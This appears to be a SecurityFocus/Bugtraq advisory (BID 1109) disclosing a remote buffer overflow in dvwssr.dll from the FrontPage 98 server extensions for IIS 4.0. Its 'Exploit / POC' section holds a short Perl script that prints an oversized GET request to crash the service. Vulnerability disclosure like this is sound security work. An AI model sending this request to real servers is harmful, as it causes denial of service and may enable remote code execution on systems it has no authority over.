MS IIS FrontPage 98 Extensions Buffer Overflow Vulnerability

BID:1109

Info

MS IIS FrontPage 98 Extensions Buffer Overflow Vulnerability

Bugtraq ID: 1109
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Apr 14 2000 12:00AM
Updated: Apr 14 2000 12:00AM
Credit: This vulnerability was discovered by Richie & Beto of CORE SDI and posted to the Bugtraq mailing list on April 14, 2000.
Vulnerable: Microsoft InterDev 1.0
- Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0
Microsoft FrontPage 98 Server Extensions for IIS
+ Microsoft FrontPage 98
- Microsoft IIS 4.0
+ Microsoft NT Option Pack for NT 4.0 0
Not Vulnerable:

Discussion

MS IIS FrontPage 98 Extensions Buffer Overflow Vulnerability

The dvwssr.dll included with the FrontPage 98 extensions for IIS and shipped as part of the NT Option Pack has a remotely exploitable buffer overflow. This attack will result in the service no longer accepting connections and may allow for remote code execution on the vulnerable host.

Exploit / POC

MS IIS FrontPage 98 Extensions Buffer Overflow Vulnerability

#!/usr/bin/perl
print "GET /_vti_bin/_vti_aut/dvwssr.dll?";
print "a" x 5000;
print " HTTP/1.1\nHost: yourhost\n\n";

Solution / Fix

MS IIS FrontPage 98 Extensions Buffer Overflow Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

MS IIS FrontPage 98 Extensions Buffer Overflow Vulnerability

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